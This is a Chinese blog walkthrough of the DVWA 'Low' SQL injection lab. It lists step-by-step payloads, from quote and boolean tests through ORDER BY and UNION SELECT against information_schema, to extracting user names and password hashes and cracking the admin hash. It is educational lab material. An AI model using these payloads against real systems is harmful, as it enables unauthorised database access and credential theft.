首页 > 数据库 >SQL注入(Low)

SQL注入(Low)

时间:2023-06-10 13:07:42浏览次数:47  
标签:name 回显 union select Low SQL users 输入 注入

首先判断是否可以注入

输入:’

SQL注入(Low)_字段名

发现网站报错了,表示可以注入(后台有进行执行)

在判断是为字符型还是数字型

输入:1 and 1=1

SQL注入(Low)_数据库_02

再输入:1 and 1=2

SQL注入(Low)_字段名_03

因为1=1为真,1=2为假,但是1=2还是有回显

输入:1 ‘ and 1=1#   (#号和-- 一样注释掉后面部分)--后有空格

SQL注入(Low)_数据库_04

再输入:1’ and 1=2#

SQL注入(Low)_数据库_05

没有回显所以表示这个是字符型,因为它吧前两个当成了一句话,后两个被单引号分开后是两句话,第二次的假值没有回显

查看数据库有几列

输入:1’ order by 3#

SQL注入(Low)_字段名_06

报错了表示没有第3列

在输入:1’ order by 2#

SQL注入(Low)_表名_07

有回显表示有2列

在查看数据库的回显位

输入:1’ union select 1,2# (union select表示联合查询)

SQL注入(Low)_表名_08

可以看到两个都进行回显了(有些环境只会回显第一个位置,所以这一步要进行测试查看)

在输入:1’ union select database (), user()#

SQL注入(Low)_字段名_09

可以看到上一步回显1的地方现在回显的是库名,回显2的地方现在是回显用户名

database() 是数据库名

user() 是用户名

version() 是数据库版本

知道了数据库名了后进行查询表名

输入:1' and 1=2 union select table_name,2 from information_schema.tables where table_schema='dvwa'#(and 1=2是取消掉第一次的默认显示如图二,table_name是表名的变量,dvwa是前面查到的库名)

图一

SQL注入(Low)_字段名_10

图二

SQL注入(Low)_数据库_11

可以看到回显了两个表名users和guestbook,在对表进行查询字段名(根据分析users是存放用户信息的表)

输入:1’ and 1=2 union select 1,group_concat(column_name) from information_schema. columns where table_name=’users’# (group_concat(column_name)是字段名变量users是表名)

SQL注入(Low)_字段名_12

可以看到在回显位的第二位回显了字段名可以看到有很多(根据分析可能是用户名和密码的字段名是password,user,last_name,first_name)

在进行输入:1' and 1=2 union select first_name,password from users#

SQL注入(Low)_数据库_13

在输入:1' and 1=2 union select last_name,password from users#

SQL注入(Low)_数据库_14

在输入:

SQL注入(Low)_数据库_15

可以看见只有admin这个用户没有改变过所以admin这个用户和密码是对应的,打开pmd5进行编译可以看见密码

SQL注入(Low)_字段名_16


标签:name,回显,union,select,Low,SQL,users,输入,注入
From: https://blog.51cto.com/u_16156936/6454352

相关文章

  • SQL注入
    一、寻找注入点这一部分其实对于我这种刚学基础的小白是最难的,很长一段时间就在盲目的换网站,测试,扫描,不行就换下一个,我推荐大家使用googlehacking,其实就是高级搜索语言,我总结几个最简单最常用的用法intext:寻找正文中含有关键字的网页例如:intext:后台登录将只返回......
  • Failed to bind properties under 'spring.datasource.primary' to javax.sql.DataSou
     2023-06-1011:04:13.778WARN22452---[main]ConfigServletWebServerApplicationContext:Exceptionencounteredduringcontextinitialization-cancellingrefreshattempt:org.springframework.beans.factory.UnsatisfiedDependencyException:Error......
  • Failed to bind properties under 'spring.datasource.primary' to javax.sql.DataSou
     2023-06-1011:04:13.778WARN22452---[main]ConfigServletWebServerApplicationContext:Exceptionencounteredduringcontextinitialization-cancellingrefreshattempt:org.springframework.beans.factory.UnsatisfiedDependencyException:Error......
  • Failed to bind properties under 'spring.datasource.primary' to javax.sql.DataSou
    ​  2023-06-1011:04:13.778WARN22452---[main]ConfigServletWebServerApplicationContext:Exceptionencounteredduringcontextinitialization-cancellingrefreshattempt:org.springframework.beans.factory.UnsatisfiedDependencyException:......
  • Failed to bind properties under 'spring.datasource.primary' to javax.sql.DataSou
    ​  2023-06-1011:04:13.778WARN22452---[main]ConfigServletWebServerApplicationContext:Exceptionencounteredduringcontextinitialization-cancellingrefreshattempt:org.springframework.beans.factory.UnsatisfiedDependencyException:......
  • Sql2012安装
    在MSDN,我告诉你-做一个安静的工具站(itellyou.cn)中选择合适的版本;也可以直接ed2k://|file|cn_sql_server_2012_developer_edition_with_sp1_x64_dvd_1234492.iso|4231520256|C3653494E5E01CA5ADFAF910CBC32D75|/下载这个链接下载好后会进入这个界面我们选择左上角的安装......
  • SQL SERVER 2008 R2安装教程
    1、下载sqlserver2008r2的安装包(如果需要安装包可以私我,密钥自动输入)2、打开安装包,点击setup.exe3、点击“安装”,下一步选择“全新安装或向现有的安装添加功能”4、检测完成后点击确定5、选择输入产品密钥,这里会自动输入,下一步6、选择“我接受许可条款”,下一步7、选......
  • mybatis-动态构建SQL
    又学习到了,今天翻着队友写的代码,我看到了个注解,起初还以为是自定义的,我搜了下才发现,竟然是mybatis自带的这个注解,我竟然不知道,又是孤陋寡闻的一天,记录一下这个注解。查找了下这个注解发现这个注解是四个:我看了下与@Select有啥区别,这个@SelectProvider是能够加多条件判断的,看下面......
  • ms sql 表 索引查询
    SELECTOBJECT_NAME(IDX.object_id)Table_Name,IDX.nameIndex_name ,PAR.rowsNumOfRows ,IDX.type_descTypeOfIndexFROMsys.partitionsPARINNERJOINsys.indexesIDXONPAR.object_id=IDX.object_idANDPAR.index_id=IDX.index_idANDIDX.type......
  • 【后端面经-数据库】MySQL的存储引擎简介
    目录MySQL的存储引擎0.存储引擎的查看和修改1.MyISAM2.InnoDB3.MEMORY4.MERGE5.总结6.参考博客MySQL的存储引擎mysql主要有四类存储引擎,目前主要使用InnoDB作为存储引擎。0.存储引擎的查看和修改查看当前数据库的默认存储引擎showvariableslike'default_storage_e......